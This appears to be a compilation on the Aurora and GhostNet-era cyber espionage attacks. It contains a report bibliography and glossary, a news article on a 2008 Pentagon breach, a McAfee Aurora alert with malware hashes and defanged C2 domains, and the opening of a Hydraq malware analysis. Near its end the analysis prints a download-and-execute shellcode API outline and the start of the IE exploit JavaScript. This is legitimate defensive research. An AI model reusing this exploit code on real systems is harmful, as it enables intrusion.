 The Dark Visitor blog, http://www.thedarkvisitor.com/tag/lost33 (accessed April 1, 2010).
Henderson, Scott. 2009b. 
Hunting the GhostNet Hacker,
 The Dark Visitor blog,
http://www.thedarkvisitor.com/2009/04/hunting-the-ghostnet-hacker (accessed April 1, 2010).
Henderson, Scott. 2007a. 
Top Chinese Hackers,
 The Dark Visitor blog,
http://www.thedarkvisitor.com/2009/04/hunting-the-ghostnet-hacker(accessed April 1, 2010).
Henderson, Scott. 2007b. The Dark Visitor. http://www.lulu.com/items/volume_62/2048000/2048958/4/print/2048958.pdf (accessed
April 1, 2010).
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
Higgins, Kelly Jackson. September 24, 2008. 
Shadowserver to Build Sinkhole to Find Errant Bots,
 Dark Reading,
http://www.darkreading.com/security/management/showArticle.jhtml?articleID=211201241 (accessed April 1, 2010).
India Defence. 2007. 
Indian Army Tests Indigenous Battlefield Surveillance System,
 http://www.india-defence.com/reports-3171
(accessed April 1, 2010).
Indian Embassy. 1998. 
National Security Council Setup,
 http://www.indianembassy.org/inews/December98/9.htm (accessed April 1, 2010).
Indian Government. 2010. 
Overseas.
 http://india.gov.in/overseas.php (accessed April 1, 2010).
Jagatic, Tom N., Nathaniel A. Johnson, Markus Jakobsson, and Filippo Menczer. 2007. 
Social Phishing,
 Communications of the
ACM, 50:10, 94-100,
http://portal.acm.org/citation.cfm?id=1290958.1290968&coll=GUIDE&dl=GUIDE&CFID=74760848&CFTOKEN=96817982
(accessed April 1, 2010).
Keith, Ronald and Zhiqiu Lin. 2005. New Crime in China: Public Order and Human Rights. London: Routledge.
Lam, Willy. November 18, 2009. 
Mafias expose China
s legal woes,
 Asia Times Online,
http://www.atimes.com/atimes/China/KK18Ad01.html (accessed April 1, 2010).
Lewin, Kurt. 1946. 
Action Research and Minority Problems,
 Journal of Social Issues, 2, 34-46.
Mandiant, 2010. M Trends: The Advanced Persistent Threat,
http://www.mandiant.com/products/services/m-trends (accessed April 1, 2010).
Markoff, John, and David Barboza. February 18, 2010. 
2 China Schools Said to Be Tied to Online Attacks.
 New York Times,
http://www.nytimes.com/2010/02/19/technology/19china.html (accessed April 1, 2010).
Nazario, Jose. 2009a. 
Twitter-based Botnet Command Channe,
 Arbor Networks,
http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel (accessed April 1, 2010).
Nazario, Jose. 2009b. 
Malicious Google AppEngine Used as a CnC,
 Arbor Networks,
http://asert.arbornetworks.com/2009/11/malicious-google-appengine-used-as-a-cnc (accessed April 1, 2010).
Nolan, Jason, and Michelle Levesque. 2005. 
Hacking human: data-archaeology and surveillance in social networks,
 ACM SIGGROUP
Bulletin, 25:2, 33-37,
http://portal.acm.org/citation.cfm?id=1067721.1067728&coll=ACM&dl=ACM&CFID=84425230&CFTOKEN=14042216
(accessed April 1, 2010).
Northrop Grumman. 2009. Capability of the People
s Republic of China to Conduct Cyber Warfare and Computer Network Exploitation,
http://www.uscc.gov/.../NorthropGrumman_PRC_Cyber_Paper_FINAL_Approved%20Report_16Oct2009.pdf (accessed April 1, 2010).
Office Of the Privacy Commissioner of Canada. 2010. Reaching for the Cloud(s):Privacy Issues related to Cloud Computing.
http://www.priv.gc.ca/information/pub/cc_201003_e.cfm (accessed April 2, 2010).
Parker, Tom, Eric Shaw, Ed Stroz, Matthew G. Devost, and Marcus H. Sachs. 2004. Cyber Adversary Characterization: Auditing the
Hacker Mind, Syngress Publishing Inc: Rockland MA.
Parker, Tom, Dave Farell, Toby Miller, and Matthew G. Devost. 2003. 
Adversary Characterization and Scoring Systems,
 Blackhat
2003, Las Vegas, NV. http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-parker.pdf.
Ramachandran, Anirudh., Nick Feamster, and David Dagon. 2006. 
Revealing Botnet Membership Using DNSBL Counter-Intelligence.
USENIX, SRUTI 2006, San Jose, CA, http://www.usenix.org/events/sruti06/tech/full_papers/ramachandran/ramachandran.pdf (accessed
April 1, 2010).
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
Rajab, Moheeb Abu., Jay Zarfoss, Fabian Monrose, and Andreas Terzis. 2007. 
My Botnet is Bigger than Yours (Maybe, Better than
Yours): Why Size Estimates Remain Challenging
. USENIX, Hotbots 2007, Cambridge, MA,
http://www.usenix.org/event/hotbots07/tech/full_papers/rajab/rajab.pdf (accessed April 1, 2010).
Ratzlav-Katz, Nissan. January 7, 2010. 
Iron Dome
 Anti-Missile System Ready for Deployment,
 Arutz Sheva,
http://www.israelnationalnews.com/News/News.aspx/135406 (accessed April 1, 2010).
Saikorian Association. Website, www.saikorian.org (accessed April 1, 2010).
Smith, Allen M., Nancy Y. Toppel. 2009. 
Case Study: Using Security Awareness to Combat the Advanced Persistent Threat,
 13th
Colloquium for Information Systems Security Education, Seattle, WA,
http://www.cisse2009.com/colloquia/cisse13/proceedings/PDFs/Papers/S03P02.pdf (accessed April 1, 2010).
s Land Forces. 2008. 
Network Centricity: An answer to security threats.
 http://www.spslandforces.net/news.asp?news=16
(accessed April 1, 2010).
Stone-Gross, Brett, Marco Cova, Lorenzo Cavallaro, Bob Gilbert, Martin Szydlowski, Richard Kemmerer, Christopher Kruegel, and
Giovanni Vigna. 2009. 
Your Botnet is My Botnet: Analysis of a Botnet Takeover,
 ACM, CCS 2009, Chicago, IL,
http://www.cs.ucsb.edu/%7Eseclab/projects/torpig/torpig.pdf (accessed April 1, 2010).
Subrahmanyam, Krishnaswamy. January 22, 2010. 
National Security Advisor: Does India Need One?
 The Northlines,
http://www.northlines.in/newsdet.aspx?q=28365 (accessed April 1, 2010).
Symantec. 2010. 
The Nature of Cyber Espionage: Most Malicious File Types Identified and Encrypted Spam from Rustock,
MessageLabs Intelligence, http://www.messagelabs.com/mlireport/MLI_2010_03_Mar_FINAL-EN.pdf (accessed April 1, 2010).
Symantec. 2009a. 
Trojan.Whitewell: What
s your (bot) Facebook Status Today?
 Symantec Security Response Blog,
http://www.symantec.com/connect/blogs/trojanwhitewell-what-s-your-bot-facebook-status-today (accessed April 1, 2010).
Symantec. 2009b. 
Google Groups Trojan,
 Symantec Security Response Blog, http://www.symantec.com/connect/blogs/google-groups-trojan
(accessed April 1, 2010).
Thibodeau, Patrick, 2010. 
FBI List Top 10 Posts in Cybercriminal Operations,
 Computer World,
http://www.computerworld.com/s/article/9173965/FBI_lists_Top_10_posts_in_cybercriminal_operations (accessed April 1, 2010).
Unmask Parasites. 2009. 
Hackers Use Twitter API To Trigger Malicious Scripts,
http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts (accessed April 2, 2010).
Vallentin, Matthias, Jon Whiteaker, and Yahel Ben-David. 2009. 
The Gh0st in the Shell: Network Security in the Himalayas,
Berkeley, http://cs.berkeley.edu/~mavam/cw/cs294-28-paper.pdf (accessed April 1, 2010).
Van Horenbeeck, Maarten. 2008a. 
Is Troy Burning? An Overview of Targeted Trojan Attacks,
 SANS Internet Storm Center, SANSFire
2008, Washington DC. http://isc.sans.org/.../SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf (accessed April 1, 2010).
Van Horenbeeck, Maarten. 2008b. 
Overview of Cyber Attacks Against Tibetan Communities,
 Internet Storms Centre,
http://isc.sans.org/diary.html?storyid=4177 (accessed April 1, 2010).
Van Horenbeeck, Maarten. 2007. 
Crouching PowerPoint, Hidden Trojan,
 24th Chaos Communication Congress, Berlin,
http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.htm (accessed April 1, 2010).
Vass, Lisa. November 8, 2009. 
RBN Gang Moves Setups Shop in China,
 eWeek,
http://www.eweek.com/c/a/Security/RBN-Gang-Moves-Sets-Up-Shop-in-China/ (accessed April 1, 2010).
Villeneuve, Nart. 2010. 
The 
Kneber
 Botnet, Spear Phishing Attacks and Crimeware
, Information Warfare Monitor,
http://www.infowar-monitor.net/2010/03/the-kneber-botnet-spear-phishing-attacks-and-crimeware/ (accessed April 1, 2010).
Zetter, Kim. 2009. 
Electronic Spy Network Focused on Dalai Lama and Embassy Computers.
 Wired Magazine, March 28,
http://www.wired.com/threatlevel/2009/03/spy-system-focu (accessed April 1, 2010).
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
Zetter, Kim. 2007a. 
Rogue Nodes turn Tor Anonymizer into Eavesdropper
s Paradise,
 Wired Magazine,
http://www.wired.com/politics/security/news/2007/09/embassy_hack (accessed April 1, 2010).
Zetter, Kim. 2007b. 
Tor Researcher Who Exposed Embassy E-mail Passwords gets Raided by Swedish FBI and CIA,
 Threat Level, Wired
Magazine, http://www.wired.com/threatlevel/2007/11/swedish-researc/#ixzz0ex7BEUYk (accessed April 1, 2010).
Suggested Readings
Targeted Malware Research
Aeon Security Blog. February 8, 2010. 
Defending Against Advanced Persistent Threats,
http://www.theaeonsolution.com/security/?p=231 (accessed April 1, 2010).
Aeon Security Blog. February 16, 2010. 
You Say Advanced I Say Structured,
http://www.theaeonsolution.com/security/?p=251 (accessed April 1, 2010).
Beecroft, Alexander. 2009. Passive Fingerprinting of Comptuer Network Reconnaissance Tools, Naval Postgraduate School,
http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA509167&amp;Location=U2&amp;doc=GetTRDoc.pdf (accessed April 1, 2010).
FireEye Malware Intelligence Lab. November 6 2009. 
Smashing the Mega-d/Ozdok botnet in 24 hours,
http://blog.fireeye.com/research/2009/11/smashing-the-ozdok.html (accessed April 1, 2010).
McDougal, Monty. 2009. 
Castle Warrior: Redefining 21st Century Network Defense
. 5th Annual Workshop on Cyber Security and
Information Intelligence Research: Cyber Security and Information Intelligence Challenges and Strategies, Oakridge, TN.
http://portal.acm.org/citation.cfm?id=1558607.1558675 (accessed April 1, 2010).
Mehta, Neel. March 30, 2010. 
The Chilling Effects of Malware,
 Google Online Security Blog,
http://googleonlinesecurity.blogspot.com/2010/03/chilling-effects-of-malware.html (accessed April 1, 2010).
Van Horenbeeck, Maarten. 2008. 
Is Troy Burning? An Overview of Targeted Trojan Attacks,
 SANS Internet Storm Center, SANSFire
2008, Washington DC. http://isc.sans.org/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf (accessed April 4, 2010).
Van Horenbeeck, Maarten. 2008. 
Overview of Cyber Attacks Against Tibetan Communities,
 Internet Storm Centre,
http://isc.sans.org/diary.html?storyid=4177 (accessed April 1, 2010).
Van Horenbeeck, Maarten. 2007. 
Crouching PowerPoint, Hidden Trojan,
 24th Chaos Communication Congress, Berlin,
http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.html (accessed April 4, 2010).
Cloud Computing Security
Armbrust, Michael, et al. 2009. 
Above the Clouds: A Berkeley View of Cloud Computing,
 UC Berkeley Reliable Adaptive Distributed
Systems Laboratory, http://www.eecs.berkeley.edu/Pubs/TechRpts/2009/EECS-2009-28.pdf (accessed April 1 2010).
Jensen, Meiko, Jorg Schwenk, Nils Grushka, and Luigi Lo Iancono. 2009. 
On Technical Security Issues in Cloud Computing
, 2009
IEEE International Conference on Cloud Computing, Bangalore India, 109-116,
http://www.computer.org/portal/web/csdl/doi/10.1109/CLOUD.2009.60 (accessed April 1 2010).
Mansfield-Devine, Steve. 2008. 
Danger in the clouds,
 Network Security, 2008:12, 9-11.
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
International Law
Radsan, Afsheen John. 2007. 
The Unresolved Equation of Espionage and International Law,
 Michigan Journal of International Law,
28:597, 596-623.
Rajnovic, Damir, 2009. 
Do We Need a Global CERT?
 CISCO Security Blogs, http://blogs.cisco.com/security/comments/do_we_
need_a_global_cert/ (accessed April 1 2010).
Zhu, Li-xin. 2009. 
Research on the International Law of Information Network Operations,
 Air Force Engineering University, Xi
China, http://en.cnki.com.cn/Article_en/CJFDTOTAL-HBFX200901009.htm (accessed April 1 2010).
Chinese Information Warfare, Strategy and Doctrine
Bruzdzinski, Jason E. 2004. 
Demystifying Shashoujian: China
Assassin
s Mace
 Concept
 In Civil-Military Change in China: Elites,
Institutes and Ideas After the 16th Party Congress, Andrew Scobell, Larry Wortzel (Eds), 179-218, Strategic Studies Institute: Carlise, PA.
Harris, Shane. 2008. 
China
s Cyber-Militia,
 National Journal. http://www.nationaljournal.com/njmagazine/cs_20080531_6948.php
(accessed April 1 2010).
Niu Li, Li Jiangzhou, and Xu Duhui. 2000. 
On Information Warfare Strategems,
 Zhongguo Junshi Kexue, August 20, 2000, 115-122,
in FBIS.
Thomas, Timothy L. 2004. Dragon Bytes: Chinese Information-War Theory and Practice, Foreign Military Studies Office: Fort
Leavenworth, KS.
Wang Baocun, 1997. 
A Preliminary Analysis of Information Warfare,
 Zhongguo Junshi Kexue, 102-111.
Fusion Methodology and Intelligence
Ieva, Christopher S. 2008. 
The Holistic Targeting (HOT) Methodology as the Means to Improve Information Operations (IO) Target
Development and Prioritization,
 Naval Postgraduate School, Monterey, CA http://www.stormingmedia.us/81/8168/A816884.html (accessed April 1, 2010).
Menthe, Lance and Sullivan, Jeffrey, 2008. A RAND Analysis Tool for Intelligence, Surveillance, and Reconnaissance: The Collections
Operations Model RAND: Santa Monica, CA.
Merten, Steffen. 2009. 
Employing Data Fusion in Cultural Analysis and Counterinsurgency in Tribal Social Systems,
 Strategic Insights, 8:3.
Moffat, James. 2003. Complexity Theory and Network Centric Warfare, Information Age Transformation Series, Command and Control
Research Program, Pentagon, Washington, DC, http://www.dodccrp.org/files/Moffat_Complexity.pdf (accessed April 1 2010).
Pernin, Christopher G. Moore., Louis R., Comanor Katherine. 2007. The Knowledge Matrix Approach to Intelligence Fusion, United
States Army and RAND Arroyo Centre, http://www.rand.org/pubs/technical_reports/TR416/ (accessed April 1 2010).
Prestov, I. 2009. Dynamic Network Analysis for Understanding Complex Systems and Processes, Defence R&D Canada - Center for
Operational Research and Analysis, Ottawa.
Field investigation - Action Research
Carey-Smith, Mark T, Karen J. Nelson, and Lauren J May. 2007. 
Improving Information Security Management in Nonprofit
Organisations with Action Research,
 5th Australian Information Security Management Conference. http://eprints.qut.edu.au/14346/
(accessed 01 April 2010).
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
Curle, Adam., and Trist, E. L. 1947. 
Transitional Communities and Social Reconnection.
 Human Relations. Vol. 1:1/2.
Jaques, Elliott. 1949. 
Interpretive Group Discussion as a Method of Facilitating Social Change.
 Human Relations, 2:3, 269-280.
Brien, R. 2001. Um exame da abordagem metodol
gica da pesquisa a
o [An Overview of the Methodological Approach of Action
Research]. In Roberto Richardson (Ed.), Teoria e Pr
tica da Pesquisa A
o [Theory and Practice of Action Research]. Jo
o Pessoa, Brazil:
Universidade Federal da Para
ba, http://www.web.ca/~robrien/papers/arfinal.html (accessed 01 April 2010).
Contemporary Tibet
Barnett, Robert. 2010. The Tibet Protests of Spring, 2008, China Perspectives, 2009:3, 6-24
http://chinaperspectives.revues.org/document4836.html. (accessed April 1, 2010).
Jerryson, Michael, and Mark Juergensmeyer. 2010. Buddhist Warfare, Oxford University Press: New York.
JR03-2010 Shadows in the Cloud - GLOSSARY
Glossary
0day - is an exploit for which there is no fix from the software vendor available.
Botnet - refers to a collection of compromised networked computers that can be controlled remotely by an attacker.
Beacon / beaconing / check in - attempts by a compromised computer to connect to a command and control server.
Blackhat - generally refers to a person who attempts to compromise information technology systems or networks for malicious purposes.
Cloud computing - is an emerging computing paradigm that generally refers to systems that enable network devices to access data,
services, and applications on-demand.
Command and control server - refers to the network server that sends commands to compromised computers in a botnet.
DNS (domain name system) - is a hierarchical naming system for computers, services, or any resource participating in the Internet.
DoS Attack (denial of service attack) - is an attempt to prevent users from accessing a specific computer resource, such as a Web site.
DDoS, (distributed denial of service attacks) usually involve overwhelming the targeted computer with requests so that it is no longer
able to communicate with its intended users.
HTTP (Hypertext Transfer Protocol) - is a set of standards for exchanging text, images, sound and video by means of the Internet.
IP address (Internet protocol address) - is a numerical identification assigned to devices participating in a computer network utlizing the
Internet protocol.
Malware (malicious software) - refers to software designed to carry out a malicious purpose. Varieties of malware include computer
viruses, worms, trojan horses, and spyware.
OHHDL - Office of His Holiness the Dalai Lama.
Phishing - an attack in which an attacker attempts to obtain sensitive information from an individual by masquerading as a trusted third
party. A common example of such an attack is a user receiving an email from a source that appears to be a trustworthy entity, such as
the user
s bank. Such emails often request the user to visit a website that appears to be the login page of a service they use, such as
online banking, and enter their username and password, which is then collected by the attackers and used for malicious purposes.
PRC - People
s Republic of China.
Sinkhole - Operating domain names formerly used as command and control servers.
Spear phishing - is a targeted form of phishing in which a victim is typically sent an email that appears to be from an individual or
organization they know. Usually the content of the email includes information that is relevant to the victim and includes a malicious file
attachment or link that when opened excecutes malicious code on the victim
s computer.
RiR (Regional Internet Registry) - is an organization that manages the allocation and registration of Internet number resources within a
specific geographic region.
TGIE - Tibetan Government in Exile.
TPIE - Tibetan Parliament in Exile.
Tor - is an anonymity system that defends users from traffic analysis attacks in which attackers attempt to monitor users
 online
behaviour.
JR03-2010 Shadows in the Cloud - GLOSSARY
Web 2.0 - typically refers to Web-based applications and services that enable user participation, collaboration, and data sharing.
WHOIS - is a public database of all domain name registrations, which provides information on individuals who register domain names.
Whitehat - generally refers to a person who attempts to infiltrate information technology systems or networks in order to expose weakness
so they can be corrected by the system
s owners. Also known as an ethical hacker.
Defense official discloses cyberattack
washingtonpost.com /wp-dyn/content/article/2010/08/24/AR2010082406495.html
Now it is official: The most significant breach of U.S. military computers was caused by a flash drive inserted into a
U.S. military laptop on a post in the Middle East in 2008.
In an article to be published Wednesday discussing the Pentagon's cyberstrategy, Deputy Defense Secretary
William J. Lynn III says malicious code placed on the drive by a foreign intelligence agency uploaded itself onto a
network run by the U.S. military's Central Command.
"That code spread undetected on both classified and unclassified systems, establishing what amounted to a digital
beachhead, from which data could be transferred to servers under foreign control," he says in the Foreign Affairs
article.
"It was a network administrator's worst fear: a rogue program operating silently, poised to deliver operational plans
into the hands of an unknown adversary."
Lynn's decision to declassify an incident that Defense officials had kept secret reflects the Pentagon's desire to raise
congressional and public concern over the threats facing U.S. computer systems, experts said.
Much of what Lynn writes in Foreign Affairs has been said before: that the Pentagon's 15,000 networks and 7 million
computing devices are being probed thousands of times daily; that cyberwar is asymmetric; and that traditional Cold
War deterrence models of assured retaliation do not apply to cyberspace, where it is difficult to identify the instigator
of an attack.
But he also presents new details about the Defense Department's cyberstrategy, including the development of ways
to find intruders inside the network. That is part of what is called "active defense."
He puts the Homeland Security Department on notice that although it has the "lead" in protecting the dot.gov and
dot.com domains, the Pentagon - which includes the ultra-secret National Security Agency - should support efforts to
protect critical industry networks.
Lynn's declassification of the 2008 incident has prompted concern among cyberexperts that he gave adversaries
useful information. The Foreign Affairs article, Pentagon officials said, is the first on-the-record disclosure that a
foreign intelligence agency had penetrated the U.S. military's classified systems. In 2008, the Los Angeles Times
reported, citing anonymous Defense officials, that the incursion might have originated in Russia.
The Pentagon operation to counter the attack, known as Operation Buckshot Yankee, marked a turning point in U.S.
cyberdefense strategy, Lynn said. In November 2008, the Defense Department banned the use of flash drives, a ban
it has since modified.
Infiltrating the military's command and control system is significant, said one former intelligence official who spoke on
the condition of anonymity because of the sensitivity of the matter. "This is how we order people to go to war. If
you're on the inside, you can change orders. You can say, 'turn left' instead of 'turn right.' You can say 'go up' instead
of 'go down.' "
In a nutshell, he said, the "Pentagon has begun to recognize its vulnerability and is making a case for how you've
got to deal with it."
Alert
January 26, 2010
How Can I Tell if I Was
Infected By Aurora?
McAfee Labs identified a zero-day
vulnerability in Microsoft Internet Explorer
that was used as an entry point for
Operation Aurora
 to exploit Google and at
least 30 other companies.
Rasmon.dll:
0F9C5408335833E72FE73E6166B5A01B
How can I tell if my systems were
infected?
b.exe
9F880AC607CBD7CDFFFA609C5883C708
If you are a McAfee VirusScan Engine
customer, verify that you are using .DAT
5864 released on January 18, 2010
(McAfee has provided protection to identify
this as of release 5862 and is updating as
we continue to debug the attack) and
perform a full scan on all machines within
your enterprise, starting with most sensitive
servers. If you detect the following
signatures triggered: Exploit-Comele,
Roarur.dr or Roarur.dll, you very likely have
an infected Aurora host and should reach
out toMcAfee Foundstone, our vulnerability
management and protection services division,
for onsite Incident Response Services. You
AppMgmt.dll
6A89FBE7B0D526E3D97B0DA8418BF851
a.exe:
CD36A3071A315C3BE6AC3366D80BB59C
A0029670.dll
3A33013A47C5DD8D1B92A4CFDCDA3765
msconfig32.sys
7A62295F70642FEDF0D5A5637FEB7986
VedioDriver.dll
467EEF090DEB3517F05A48310FCFD4EE
acelpvc.dll
4A47404FC21FFF4A1BC492F9CD23139C
may also take advantage of McAfee
s free
Stinger product, used to clean up an Operation
Aurora-infected system.
If I
m not a McAfee customer
If you are not a McAfee Virus Scan Engine
customer and your anti-malware vendor
does not provide comprehensive detection
for Aurora binaries, you can perform
filename and md5 hash searches on your
servers to determine if you have any
matches that way. You should ensure that
the md5 hash matches along with the
filename to avoid false positives, as the
filenames themselves are not unique and
are very common Windows OS and other
legitimate program filenames. The list of
files and hashes is as follows:
securmon.dll:
E3798C71D25816611A4CAB031AE3C27A
McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or
its affiliates in the U.S. and/or other countries. McAfee Red in connection with security is distinctive of McAfee brand products. Any other
non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property
of their respective owners. 
 2009 McAfee, Inc. All rights reserved.
Alert
January 26, 2010
Check for outbound Web
communications
You can also check for outbound past or
present Web communication or DNS
resolutions of the following domains* known
to be associated with the malware activity:
ftpaccess[dot]cc
360[dot]homeunix[dot]com
sl1[dot]homelinux[dot]org
ftp2[dot]homeunix[dot]com
update[dot]ourhobby[dot]com
ad01[dot]homelinux[dot]com
ads1[dot]homelinux[dot]org
ads1[dot]webhop[dot]org
aep[dot]homelinux[dot]com
aka[dot]homeunix[dot]net
alt1[dot]homelinux[dot]com
amd[dot]homeunix[dot]com
amt1[dot]homelinux[dot]com
amt1[dot]homeunix[dot]org
aop01[dot]homeunix[dot]com
aop1[dot]homelinux[dot]com
asic1[dot]homeunix[dot]com
bdc[dot]homeunix[dot]com
corel[dot]ftpaccess[dot]cc
ddd1[dot]homelinux[dot]com
demo1[dot]ftpaccess[dot]cc
du1[dot]homeunix[dot]com
fl12[dot]ftpaccess[dot]cc
ftp1[dot]ftpaccess[dot]cc
patch[dot]homeunix[dot]org
up1[dot]mine[dot]nu
hho1[dot]homeunix[dot]com
hp1[dot]homelinux[dot]org
i1024[dot]homeunix[dot]org
i1024[dot]homelinux[dot]com
ice[dot]game-host[dot]org
il01[dot]servebbs[dot]com
il01[dot]homeunix[dot]com
il02[dot]servebbs[dot]com
il03[dot]servebbs[dot]com
lih001[dot]webhop[dot]net
lih002[dot]webhop[dot]net
lih003[dot]webhop[dot]net
list1[dot]homelinux[dot]org
live1[dot]webhop[dot]org
patch1[dot]gotdns[dot]org
patch1[dot]ath[dot]cx
patch1[dot]homelinux[dot]org
ppp1[dot]ftpaccess[dot]cc
sc01[dot]webhop[dot]biz
temp1[dot]homeunix[dot]com
tor[dot]homeunix[dot]com
ttt1[dot]homelinux[dot]org
up01[dot]homelinux[dot]com
up1[dot]homelinux[dot]org
up1[dot]serveftp[dot]net
up2[dot]mine[dot]nu
update1[dot]homelinux[dot]org
update1[dot]merseine[dot]nu
jlop[dot]homeunix[dot]com
on1[dot]homeunix[dot]com
vm01[dot]homeunix[dot]com
vvpatch[dot]homelinux[dot]org
war1[dot]game-host[dot]org
xil[dot]homeunix[dot]com
*In the names above, 
[dot]
 is substituted for 
protect users from accidentally clicking and launching
malicious domains.
We recommend searching for outbound
requests for, at minimum, the 12/10/09 to
1/6/10 timeframe. The above domains and
file names and hashes may not be all
inclusive of all those associated with Aurora
but give a reasonable representation. If you
see Web communication to any of the
above sites you should analyze the
origination machine immediately and reach
out to McAfee Foundstone for onsite
Incident Response Services.
McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or
its affiliates in the U.S. and/or other countries. McAfee Red in connection with security is distinctive of McAfee brand products. Any other
non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property
of their respective owners. 
 2009 McAfee, Inc. All rights reserved.
CA Internet Security Business Unit | Internet Security Intelligence
In-depth Analysis of Hydraq
The face of cyberwar enemies unfolds
Zarestel Ferrer and Methusela Cebrian Ferrer
CA ISBU Senior Researchers, Melbourne Australia
Abstract
There are thousands of undetected online threats and malware attacks from around the world
every day. Most of these attacks take place in cyberspace, where unsuspecting people fall prey to
various forms of cybercrime. Common cyber criminal activity involves stealing sensitive information such as credit card details, online login credentials, browsing history and email addresses.
However, notable skilled attacks occur when the target is in possession of highly-valuable information that could be leveraged as a weapon for warfare.
Hydraq is a family of threats used in highly sophisticated, coordinated attacks against large and
high-profile corporate networks. It is referred to as Operation Aurora, Google Hack Attack and
Microsoft Internet Explorer 0-day (CVE-2010-0249). An in-depth code investigation and analysis
will highlight Hydraq features and capabilities, and as it unfolds, questions will unravel on to
whether the discovery of this threat is just the beginning of a global arms race against cyberwarfare.
Table of Contents
Introduction
Anatomy of an Attack
1. How Hackers Gain Access
1.1 Reconnaissance
1.2 0Day Hack Attack
1.3 MS10-002 (CVE-2010-049) Analysis
1.4 Hydraq Binary Shellcode
2. How Hackers Maintain Access
2.1 Win32/Hydraq (EXE) Dropper: Generating Random Service
2.2 Win32/Hydraq (DLL) Backdoor: Method of Installation
3. Cyber Spy In Control
3.1 Initialization of the Backdoor Configuration
3.2 Command and Control
3.3 Backdoor Configuration: Resource Section and Registry Key
3.4 Backdoor Communication Protocol 0x00: Establishing Communication
3.5 Backdoor Communication Protocol 0x01: Execution of Client-Server Commands
3.6 Backdoor Command Reference
3.7 Backdoor Command Table
3.9 Backdoor Commands In Action
Summary
Safe Computing Habits
Appendix A - Other variant method of installation
Appendix B - Initial Handshake
Appendix C - Customize Character Decoding
Appendix D - Real-time Graphical Control
Appendix E - Domain Name List
Reference
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Introduction
In mid-December, we detected a highly sophisticated and targeted attack on our corporate
infrastructure originating from China that resulted in the theft of intellectual property from Google.
... we have evidence to suggest that a primary goal of the attackers was accessing the Gmail
accounts of Chinese human rights activists.
This statement was taken from a Google blog post entitled "A new approach to China"[1], in which
Google declared its decision to stop censoring its search results in China.
Internet freedom vs cyber crime is a deep issue that crosses all boundaries; and the same brought
global debate about internet censorship and human rights [2].
This incident prompted authorities and world leaders to discuss and work on matters of cyber
crime; taking into consideration that cyber threats may affect national security [3].
The report 
Tracking GhostNet: Investigating a Cyber Espionage Network
 [4] as published last
year, highlights cyberwarfare as a major global concern.
Evidently, an increasing wealth of online information and resources will attract attackers. For highprofile threats such as Hydraq, it is important to understand the underlying attack technique and its
technical details.
This paper seeks to explore and discover the level of skill the attackers employed to successfully
deploy this highly sophisticated attack.
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
Anatomy of an Attack
[Attacker]
Reconnaissance
Deploying attacks
Internet activity
IE 0-day Exploit Attack (CVE-2010-049)
[Target User]
Remote Shellcode APIs
shell32.SHGetSpecialFolderPathA
urlmon.URLDownloadToFileA
...kernel32.CreateFileA
...kernel32.GetFileSize
// decrypt downloaded file
...kernel32.CreateFileA
...kernel32.SetFilePointer
...kernel32.ReadFile
...kernel32.WriteFile
...kernel32.CloseHandle
...kernel32.CloseHandle
...kernel32.DeleteFileA
...kernel32.MultiByteToWideChar
// Execute Win32/Hydraq dropper
kernel32.CreateProcessInternalW
[Attacker]
Win32/Hydraq allows remote attacker gain control.
[Target User]
covert communication channel
transmission of sensitive information
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
1. How Hackers Gain Access
1.1 Reconnaissance
Profiling the target is a basic principle of hacking. This refers to a reconnaissance phase where
the attacker evaluates and determine ways to launch a successful attack.
Reconnaissance with Whois, DNS and IP/Network could provide preliminary information about
the target organization
s infrastructure. In addition, a combination of social engineering and
physical (on-site) reconnaissance is also considered as a valuable source of information.
To learn more about the target, attackers performs passive and active scanning to understand
the target network topology, platforms, ports and services, vulnerabilities and security defenses.
The profiling also extends to people that have knowledge and access to the target organization
including employees, contractors, and visitors. Cyber reconnaissance is very useful in this case,
gathering detailed information through social networking sites and tracing digital footprints
through search engine results. Attackers could compromise the 
circle of trust
 of the target, including friends, family members and even internet browsing habits can be analyzed to successfully gain access.
1.2 0Day Hack Attack
Hydraq exploits the zero-day (0day) vulnerability in Internet Explorer, which is referred to as
CVE-2010-0249 [5] and MS10-002 [6].
In reconnaissance stage, Hydraq masterminds have been able to devise a plan for successful
hacking attack. Evidently, the authors found an opportunity to target Internet Explorer and evade
security detection through an unknown vulnerability.
Sophisticated social engineering tricks can then be deployed to entice target users to visit a
compromised web site.
1.3 MS10-002 (CVE-2010-049) Analysis
It is a common characteristic for attackers to obfuscate malicious JavaScript to conceal the
code
s real intentions and also avoid detection by security scanners [Listing 01].
CA ISBU-ISI WHITE PAPER: IN-DEPTH ANALYSIS OF HYDRAQ
OBFUSCATED
DeOBFUSCATED
< Shellcode >
< Exploit Code >
[Listing 01 - Hydraq JavaScript (JS/Hydraq) distributed for targeted attack]
In general use, obfuscation is designed for code protection regardless of whether the intentions
are good or bad.
Hydraq
s malicious JavaScript contains code that takes advantage of Internet Explorer (IE)
HTML object handling flaw and is triggered when IE tries to access a deleted or incorrectly initialized HTML object. [Listing 02]
Once the exploit attack is successful, Hydraq
s binary shellcode will then execute on the target
system.
var e1=null;
function ev1(evt)
e1=document.createEventObject(evt);
document.getElementById("sp1").innerHTML="";
window.setInterval(ev2, 50);
